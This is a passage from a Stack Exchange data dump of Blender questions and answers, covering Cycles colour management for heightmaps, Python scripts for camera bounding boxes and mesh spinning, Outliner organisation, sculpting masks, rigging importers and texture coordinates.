noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1181" LastEditorUserId="32220" LastEditDate="2019-02-24T16:43:09.377" LastActivityDate="2019-02-24T16:43:09.377" Title="Why does my cycles-rendered heightmap have wrong values?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="7202" PostTypeId="2" ParentId="7199" CreationDate="2014-02-20T12:51:23.517" Score="15" Body="&lt;p&gt;This is probably due to blenders color management. You're expecting a linear relationship between the height of that part of the object and the colour of the pixel. However whilst the luminosity/emission strength of that pixel should be correct, when you render your image these values will be converted to an sRGB color space, and the values will not be correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MweC3.png&quot; alt=&quot;sRGB value vs emission&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is set your display device to &quot;None&quot; in your colour management settings. This will leave your rendered values as Linear Values and not convert them to sRGB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xn3EF.png&quot; alt=&quot;linear value vs emission&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0lq2P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1440" LastActivityDate="2014-02-20T12:51:23.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7203" PostTypeId="2" ParentId="7198" CreationDate="2014-02-20T13:28:58.727" Score="9" Body="&lt;p&gt;This script determines the camera space bounding box and calculates the top left corner location in the rendered image + width and height (clamped to render resolution).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will return incorrect results if the object is partially behind the camera, it should work if it's in front and crossing the camera view border however.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;class Box:&#xA;&#xA;    dim_x = 1&#xA;    dim_y = 1&#xA;&#xA;    def __init__(self, min_x, min_y, max_x, max_y, dim_x=dim_x, dim_y=dim_y):&#xA;        self.min_x = min_x&#xA;        self.min_y = min_y&#xA;        self.max_x = max_x&#xA;        self.max_y = max_y&#xA;        self.dim_x = dim_x&#xA;        self.dim_y = dim_y&#xA;&#xA;    @property&#xA;    def x(self):&#xA;        return round(self.min_x * self.dim_x)&#xA;&#xA;    @property&#xA;    def y(self):&#xA;        return round(self.dim_y - self.max_y * self.dim_y)&#xA;&#xA;    @property&#xA;    def width(self):&#xA;        return round((self.max_x - self.min_x) * self.dim_x)&#xA;&#xA;    @property&#xA;    def height(self):&#xA;        return round((self.max_y - self.min_y) * self.dim_y)&#xA;&#xA;    def __str__(self):&#xA;        return &quot;&amp;lt;Box, x=%i, y=%i, width=%i, height=%i&amp;gt;&quot; % \&#xA;               (self.x, self.y, self.width, self.height)&#xA;&#xA;    def to_tuple(self):&#xA;        if self.width == 0 or self.height == 0:&#xA;            return (0, 0, 0, 0)&#xA;        return (self.x, self.y, self.width, self.height)&#xA;&#xA;&#xA;def camera_view_bounds_2d(scene, cam_ob, me_ob):&#xA;    &quot;&quot;&quot;&#xA;    Returns camera space bounding box of mesh object.&#xA;&#xA;    Negative 'z' value means the point is behind the camera.&#xA;&#xA;    Takes shift-x/y, lens angle and sensor size into account&#xA;    as well as perspective/ortho projections.&#xA;&#xA;    :arg scene: Scene to use for frame size.&#xA;    :type scene: :class:`bpy.types.Scene`&#xA;    :arg obj: Camera object.&#xA;    :type obj: :class:`bpy.types.Object`&#xA;    :arg me: Untransformed Mesh.&#xA;    :type me: :class:`bpy.types.Mesh´&#xA;    :return: a Box object (call its to_tuple() method to get x, y, width and height)&#xA;    :rtype: :class:`Box`&#xA;    &quot;&quot;&quot;&#xA;&#xA;    mat = cam_ob.matrix_world.normalized().inverted()&#xA;    me = me_ob.to_mesh(scene, True, 'PREVIEW')&#xA;    me.transform(me_ob.matrix_world)&#xA;    me.transform(mat)&#xA;&#xA;    camera = cam_ob.data&#xA;    frame = [-v for v in camera.view_frame(scene=scene)[:3]]&#xA;    camera_persp = camera.type != 'ORTHO'&#xA;&#xA;    lx = []&#xA;    ly = []&#xA;&#xA;    for v in me.vertices:&#xA;        co_local = v.co&#xA;        z = -co_local.z&#xA;&#xA;        if camera_persp:&#xA;            if z == 0.0:&#xA;                lx.append(0.5)&#xA;                ly.append(0.5)&#xA;            # Does it make any sense to drop these?&#xA;            #if z &amp;lt;= 0.0:&#xA;            #    continue&#xA;            else:&#xA;                frame = [(v / (v.z / z)) for v in frame]&#xA;&#xA;        min_x, max_x = frame[1].x, frame[2].x&#xA;        min_y, max_y = frame[0].y, frame[1].y&#xA;&#xA;        x = (co_local.x - min_x) / (max_x - min_x)&#xA;        y = (co_local.y - min_y) / (max_y - min_y)&#xA;&#xA;        lx.append(x)&#xA;        ly.append(y)&#xA;&#xA;    min_x = clamp(min(lx), 0.0, 1.0)&#xA;    max_x = clamp(max(lx), 0.0, 1.0)&#xA;    min_y = clamp(min(ly), 0.0, 1.0)&#xA;    max_y = clamp(max(ly), 0.0, 1.0)&#xA;&#xA;    bpy.data.meshes.remove(me)&#xA;&#xA;    r = scene.render&#xA;    fac = r.resolution_percentage * 0.01&#xA;    dim_x = r.resolution_x * fac&#xA;    dim_y = r.resolution_y * fac&#xA;&#xA;    return Box(min_x, min_y, max_x, max_y, dim_x, dim_y)&#xA;&#xA;&#xA;def clamp(x, minimum, maximum):&#xA;    return max(minimum, min(x, maximum))&#xA;&#xA;&#xA;def write_bounds_2d(filepath, scene, cam_ob, me_ob, frame_start, frame_end):&#xA;&#xA;    with open(filepath, &quot;w&quot;) as file: &#xA;        for frame in range(frame_start, frame_end + 1):&#xA;            bpy.context.scene.frame_set(frame)&#xA;            file.write(&quot;%i %i %i %i\n&quot; % camera_view_bounds_2d(scene, cam_ob, me_ob).to_tuple())&#xA;&#xA;def main(context):&#xA;&#xA;    filepath = r&quot;D:\temp\bounds_2d.txt&quot;&#xA;&#xA;    scene = context.scene&#xA;    cam_ob = scene.camera&#xA;    me_ob = context.object&#xA;&#xA;    frame_current = scene.frame_current&#xA;    frame_start = scene.frame_start&#xA;    frame_end = scene.frame_end&#xA;&#xA;    write_bounds_2d(filepath, scene, cam_ob, me_ob, frame_start, frame_end)&#xA;&#xA;    scene.frame_set(frame_current)&#xA;&#xA;main(bpy.context)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One could try cut the mesh at the camera view border (world space, camera space or NDC?) and throw away all coordinates outside the frame. That should fix the bounding box problem with object partially behind camera. If we dropped these coords without cutting, it would likely return a too small box (should return a too large box in these cases at the moment).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-02-20T13:44:44.587" LastActivityDate="2014-02-20T13:44:44.587" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7205" PostTypeId="1" CreationDate="2014-02-20T13:56:56.410" Score="2" ViewCount="88" Body="&lt;p&gt;I am trying to create a simple python script that will spin an edge around a parallel axis to create part of a cylinder. The script should be executed in batch and do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy an empty template to a new file&lt;/li&gt;&#xA;&lt;li&gt;Open the new file&lt;/li&gt;&#xA;&lt;li&gt;Create the geoemtry&lt;/li&gt;&#xA;&lt;li&gt;Save the file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So far I have the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import shutil&#xA;&#xA;shutil.copyfile(&quot;./temp/template.blend&quot;, &quot;./temp/myfile.blend&quot;)&#xA;&#xA;bpy.ops.wm.open_mainfile(filepath=&quot;./temp/myfile.blend&quot;)&#xA;&#xA;# Create the geometry&#xA;coord1 = (1.0, 0.0, 0.0)&#xA;coord2 = (1.0, 0.0, 1.0)&#xA;&#xA;Verts = [coord1, coord2]&#xA;Edges = [[0,1]]&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;Mesh 1&quot;)&#xA;mesh.from_pydata(Verts, Edges, [])&#xA;mesh.update()&#xA;&#xA;# bpy.ops.mesh.spin(steps=9, dupli=False, degrees=90.0, center=(0.0, 0.0, 0.0), axis=(0.0, 0.0, 1.0))&#xA;&#xA;# Create object&#xA;obj = bpy.data.objects.new(&quot;Object 1&quot;, mesh)&#xA;obj.data = mesh&#xA;&#xA;# Link object to scene&#xA;scene = bpy.context.scene&#xA;scene.objects.link(obj)&#xA;obj.select = True&#xA;&#xA;# Save the file&#xA;bpy.ops.wm.save_mainfile(filepath=&quot;./temp/myfile.blend&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is run from the command line with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b --python temp/test.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works OK, but when I try to spin the edge with &lt;code&gt;bpy.ops.mesh.spin&lt;/code&gt; (commented out above) then I have an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Operator bpy.ops.mesh.spin.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that I need to be in the 3DView context, but how can I achieve this from python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So finally after a bit of digging the following code worked for me. Note that the API docs for the spin also refer to a keyword argument &quot;degrees&quot; which does not work. Using &quot;angle&quot; in radians seems to do the trick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import shutil&#xA;&#xA;&#xA;shutil.copyfile(&quot;template.blend&quot;, &quot;myfile.blend&quot;)&#xA;&#xA;bpy.ops.wm.open_mainfile(filepath=&quot;myfile.blend&quot;)&#xA;&#xA;&#xA;# Create the geometry&#xA;coord1 = (1.0, 0.0, 0.0)&#xA;coord2 = (1.0, 0.0, 1.0)&#xA;&#xA;Verts = [coord1, coord2]&#xA;Edges = [[0,1]]&#xA;&#xA;mesh = bpy.data.meshes.new(&quot;Mesh 1&quot;)&#xA;mesh.from_pydata(Verts, Edges, [])&#xA;mesh.update()&#xA;&#xA;# Create object&#xA;obj = bpy.data.objects.new(&quot;Object 1&quot;, mesh)&#xA;obj.data = mesh&#xA;&#xA;# Link object to scene&#xA;scene = bpy.context.scene&#xA;scene.objects.link(obj)&#xA;scene.objects.active = obj&#xA;&#xA;# Enter edit mode&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;# Set correct context for spin&#xA;for window in bpy.context.window_manager.windows:&#xA;    screen = window.screen&#xA;    for area in screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            override = {'window': window, 'screen': screen, 'area': area}&#xA;            bpy.ops.mesh.spin(override, steps=30, dupli=False, angle=1.0*3.14, center=(0.0, 0.0, 0.0), axis=(0.0, 0.0, 1.0))&#xA;            break&#xA;&#xA;&#xA;# Save the file&#xA;bpy.ops.wm.save_mainfile(filepath=&quot;myfile.blend&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2528" LastEditorUserId="2528" LastEditDate="2014-02-20T21:21:56.050" LastActivityDate="2014-02-20T21:21:56.050" Title="Spin a Mesh from Python API" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-02-22T15:53:47.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="7207" PostTypeId="1" CreationDate="2014-02-20T19:42:25.273" Score="5" ViewCount="1321" Body="&lt;p&gt;I would like to hide many items in the Outliner by grouping them and then collapsing the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize the Outliner can display only Groups, but those groups are functional groups that affect the way, for example, animations work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kind of groups I'm wanting to create are solely for the purpose of reducing visual clutter in the Outliner and won't effect anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this question was asked before, but none of the answers solved my problem. (&lt;a href=&quot;https://blender.stackexchange.com/questions/6399/how-can-i-organize-the-outliner-with-groups&quot;&gt;How can I organize the outliner with groups?&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any solution? &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-02-20T20:57:44.073" Title="Can I group items only in the Outliner" Tags="&lt;groups&gt;&lt;outliner&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7208" PostTypeId="2" ParentId="5458" CreationDate="2014-02-20T20:19:36.053" Score="-2" Body="&lt;p&gt;I had a similar problem it took a while but I figured it out, my mesh seemed to split in the middle when I applied a multires modifier.  I found that when I turned off the mirror modifier for some reason when I had done an edge loop cut and slide it had added faces to the loop edge that was my clipping so when ever I was applying the mirror it was confused because the edge loop it was supposed to merge had faces.  Turn off the mirror and if the side you want to merge has faces delete them and all will be good. (Tthe side you want to merge is the side you can't see when the mirror mod is on.)&lt;/p&gt;&#xA;" OwnerUserId="2530" LastEditorUserId="3401" LastEditDate="2015-12-22T17:53:25.947" LastActivityDate="2015-12-22T17:53:25.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7209" PostTypeId="2" ParentId="7207" CreationDate="2014-02-20T20:48:28.310" Score="2" Body="&lt;p&gt;You could organize your scene by placing the objects on seperate &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Layers&quot; rel=&quot;nofollow noreferrer&quot;&gt;layers&lt;/a&gt; and switch the &lt;em&gt;Outliner&lt;/em&gt; to &lt;em&gt;Visible Layers&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7cxI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The highlighted area shows that there are objects on layer 1 and layer 2, but only layer 1 is currently visible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKYdq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-20T20:48:28.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7210" PostTypeId="1" CreationDate="2014-02-20T20:49:56.560" Score="3" ViewCount="460" Body="&lt;p&gt;I have a very accurate mesh of my head, captured by photogrammetry (&lt;a href=&quot;http://ir-ltd.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ir-ltd.net/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50xze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to rotate and translate it so that it is as symmetrical as possible on the x axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a close up of an ear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/klMbv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now maybe I could position a sphere...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i7euU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7EXbF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then position one of the opposite side in the same place, and then take the average of their centres, translate that back to the origin, and then perform appropriate rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can write a Python script that gets as far as the translation, but I'm not sure how to do the final rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can anyone think of any other techniques?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS it is essential to mesh scale must be preserved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Another technique might involve selecting one ear and calculating the average of all vertex positions. Then doing the same for the other ear.  And then taking the line between these two centroids to be the new X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then the problem becomes how to select the ear?  Specifically, how to make sure the second ear is selected in a similar way.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-02-21T07:29:01.673" LastActivityDate="2014-02-21T11:20:20.297" Title="Center and orient mesh of a head" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7211" PostTypeId="2" ParentId="7207" CreationDate="2014-02-20T20:57:44.073" Score="6" Body="&lt;p&gt;I had a need for something like this sometime back and as far as I know there is no way of doing this in Blender yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was create and name some empties and then just parented the objects to it. To reduce clutter, you can keep the empties on a garbage layer and also reduce their size or disable relationship lines. Empties and their relationships to the child objects won't affect anything and you get to toggle the different 'groups' as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQuVc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-02-20T20:57:44.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7212" PostTypeId="1" AcceptedAnswerId="7220" CreationDate="2014-02-20T21:37:17.703" Score="10" ViewCount="15341" Body="&lt;p&gt;I have always had a unique mesh for every MESH type object in blender, to easily access them together in a python script (Iterate through objects and do something with an object and a mesh with the same name). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now I want to have a mesh for several objects. I want to export the meshes and the objects separately but for every object, export the mesh it is connected to (its name, index or some identifier) to later connect them in an external program. I already found mesh.users which shows how many objects are using this mesh, but I want to reference all of those objects.&#xA;I am exporting to a text file.&#xA;So how could I do this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="2531" LastEditorUserId="2531" LastEditDate="2014-02-20T22:04:21.603" LastActivityDate="2014-02-21T01:22:22.593" Title="How to access mesh data of an object in a script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7213" PostTypeId="1" CreationDate="2014-02-20T22:15:36.730" Score="3" ViewCount="369" Body="&lt;p&gt;I have a big landscape modell (golf course) with an lot of non-manifold edges (everytime when a lawn is next to a hard surface). Now - i want to sculpt the greens, roughs, bunkers and so on. but when i come near or over an non manifold edge it is moved away from its original positon - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to avoid this?&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2014-02-20T23:16:45.480" Title="Is there a way to not affect non manifold edges by sculpt bruhes.?" Tags="&lt;sculpting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7215" PostTypeId="1" CreationDate="2014-02-20T23:08:39.600" Score="1" ViewCount="589" Body="&lt;p&gt;I've been working on a hobby project where I've been trying to import rigged models from an old game. I've worked out most of the format details (animation is the last thing I have left to puzzle out), but there's one part I've found a bit bizarre.&lt;/p&gt;&#xA;&lt;p&gt;After much trial and error, I've discovered that the armatures appear to be rigged &amp;quot;backwards&amp;quot; - vertices assigned to the bones appear to rotate based on their tail positions rather than their head positions. I've modified my importer with a functional, if ugly, solution: I've simply reversed each bone, putting their heads where their tails used to be and vice versa, but with &lt;strong&gt;use_connect&lt;/strong&gt; set to True, I've got cases where bones at the extremities &amp;quot;double back&amp;quot; on themselves - for example, the two bones that used to branch out from the wrist and form the thumb are now overlapping one another because the &amp;quot;parent&amp;quot; bone for the thumb tip is trying to keep its tail joined with the head of the thumb tip bone itself. I've tried disabling &lt;strong&gt;use_connect&lt;/strong&gt;, but while the rig now looks like it should, the bones now rotate around their centers.&lt;/p&gt;&#xA;&lt;p&gt;Again, I haven't worked out the animation format yet, and I don't know if my ugly-yet-functional solution will have any negative impact on my ability to import said animations into Blender when the time comes, but I have to ask: is there something I've missed here, being a newbie to writing Blender import modules? Is there some way to set up the rig in the Blender API that would allow these bones to rotate relative to their head positions without using &lt;strong&gt;use_connect&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2534" LastEditorUserId="84799" LastEditDate="2020-09-23T00:24:35.163" LastActivityDate="2020-09-23T00:24:35.163" Title="Working with a &quot;reverse-rigged&quot; model (bones rotating at tails instead of heads)?" Tags="&lt;armature&gt;&lt;import&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7216" PostTypeId="2" ParentId="7213" CreationDate="2014-02-20T23:12:29.240" Score="1" Body="&lt;p&gt;I'd try adding those vertices to a vertex group and then using a mask modifier with this group as the modifiers target.  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-02-20T23:12:29.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7217" PostTypeId="2" ParentId="7213" CreationDate="2014-02-20T23:16:45.480" Score="1" Body="&lt;p&gt;You can also use the &lt;em&gt;Mask&lt;/em&gt; brush (or any of the other mask tools available in &lt;em&gt;Header &gt; Hide/Mask&lt;/em&gt;) to paint areas which you don't want to affect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Oyrf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-20T23:16:45.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7218" PostTypeId="2" ParentId="6861" CreationDate="2014-02-21T00:18:25.350" Score="2" Body="&lt;p&gt;Generally speaking you will use &lt;code&gt;File&amp;gt; Link&lt;/code&gt; to bring a mesh into another blend file. You then navigate to the .blend file, which will open up like a directory in the file browser. If the rig is well-designed, there will be a &lt;strong&gt;Group&lt;/strong&gt; directory inside. Go into the group directory and select the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no Group folder, navigate to the &lt;strong&gt;Object&lt;/strong&gt; folder and &lt;kbd&gt;Shift + LMB&lt;/kbd&gt; the objects that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linking provides several advantages. Not the least of which is that you can edit your rig without requiring any changes in your asset file. Invaluable when working with other people who are your modelers. However you could also &lt;code&gt;Append&lt;/code&gt; which makes it so it points to the file, instead of copying it. This is useful working with other people, or when you what to change the asset directly.&lt;/p&gt;&#xA;" OwnerUserId="2524" LastEditorUserId="12" LastEditDate="2014-10-11T18:57:09.107" LastActivityDate="2014-10-11T18:57:09.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7219" PostTypeId="2" ParentId="5643" CreationDate="2014-02-21T00:25:34.447" Score="0" Body="&lt;p&gt;I had this problem using blender 2.69 on Ubuntu. I downgraded my net render nodes to the version in the Ubuntu repositories (2.66a) and the problem went away. Never could get it working in 2.69. In my console output, 2.69 wrote .png files, and then complained that it couldn't find the .exr files.&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2014-02-21T00:25:34.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7220" PostTypeId="2" ParentId="7212" CreationDate="2014-02-21T01:22:22.593" Score="20" Body="&lt;p&gt;I'm not sure what you're asking, but you can retrieve the mesh datablock associated with an object like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object # get the active object for example&#xA;mesh = ob.data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reverse is not directly possible. A mesh can be used by many objects, and the mesh doesn't know/store who its &quot;owners&quot; are. You can build a reverse index however:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh_owners = {}&#xA;for ob in bpy.data.objects:&#xA;    if ob.type == 'MESH':&#xA;        mesh_owners.setdefault(ob.data, []).append(ob)&#xA;&#xA;print(mesh_owners[mesh])&#xA;# Example output - mesh is used by a one object:&#xA;#[bpy.data.objects['Cube.003']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-21T01:22:22.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7221" PostTypeId="2" ParentId="5643" CreationDate="2014-02-21T02:20:14.593" Score="2" Body="&lt;p&gt;I don't know how to fix your problem with netrender, but a possible alternative method you could use is to tell each server to write to a shared directory, enable &lt;em&gt;Placeholders&lt;/em&gt; and disable &lt;em&gt;Overwrite&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;Overwrite&lt;/em&gt; disabled, each server will check to see if a file already exists where it would otherwise write the next frame. If it does, it checks the next frame, and the next, and the next, until it finds a frame where no file exists. Then it will render that frame and write it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling &lt;em&gt;Placeholders&lt;/em&gt; makes the server write a &quot;dummy&quot; file when it starts rendering to &quot;reserve&quot; that filename for the render when is complete. This ensures that one server doesn't start rendering the same frame another server is already rendering but hasn't written yet. &lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-21T02:20:14.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7222" PostTypeId="1" CreationDate="2014-02-21T02:24:17.863" Score="13" ViewCount="6933" Body="&lt;p&gt;Basically I want to map a texture in cycles with the generated coordinates, but have it ignore the orientation of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect I want to achieve is a material that has a gradient, spread top to bottom of the individual objects dimensions, but always orientated top to bottom of the world no-matter how the object is rotated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to achieve this? thanks &lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2014-07-21T06:51:34.357" Title="Cycles texture mapping, generated coordinates with world orientation?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7223" PostTypeId="2" ParentId="7222" CreationDate="2014-02-21T02:40:33.100" Score="13" Body="&lt;p&gt;Yes, this is possible.&lt;/p&gt;&#xA;&lt;p&gt;There are several ways to achieve this, here are a couple:&lt;/p&gt;&#xA;&lt;h2&gt;Position:&lt;/h2&gt;&#xA;&lt;p&gt;You can use the &lt;em&gt;Position&lt;/em&gt; output of the &lt;em&gt;Geometry node&lt;/em&gt; and separate out the blue (vertical) channel:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dvlkl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that since it's based on the world center some objects end up with values outside the 0-1 range:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QqlNO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Texture Coordinate:&lt;/h2&gt;&#xA;&lt;p&gt;You can also use the &lt;em&gt;Object&lt;/em&gt; or the &lt;em&gt;Generated&lt;/em&gt; output of the &lt;em&gt;Texture coordinate&lt;/em&gt; node and convert it to world space with the &lt;em&gt;Vector Transform&lt;/em&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Rj9k.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now each object will have a gradient from &lt;code&gt;1&lt;/code&gt; at the top to &lt;code&gt;0&lt;/code&gt; at the bottom regardless of rotation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uG5ol.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-21T02:40:33.100" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7224" PostTypeId="1" CreationDate="2014-02-21T05:29:12.007" Score="1" ViewCount="1140" Body="&lt;p&gt;I would like to model this heatmap in 3D as a heigtmap where the brightest green points are the lowest and the brightest pink points are the tallest and black is in the middle. I have the numerical values that were used to generate the image. Also, the color information has to be maintained for the 3D printer to print it in color. I have very little 3D modeling experience and basically no programming experience but I am a fast and enthusiastic learner. I have also never used blender before. Any help would be greatly appreciated. Thanks!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CpiNJ.png&quot; alt=&quot;heat map&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2540" LastEditorUserId="395" LastEditDate="2014-02-21T06:12:43.487" LastActivityDate="2014-02-21T06:12:43.487" Title="How do I make a 3D height map from this 2D heat map?" Tags="&lt;modeling&gt;&lt;3d-printing&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
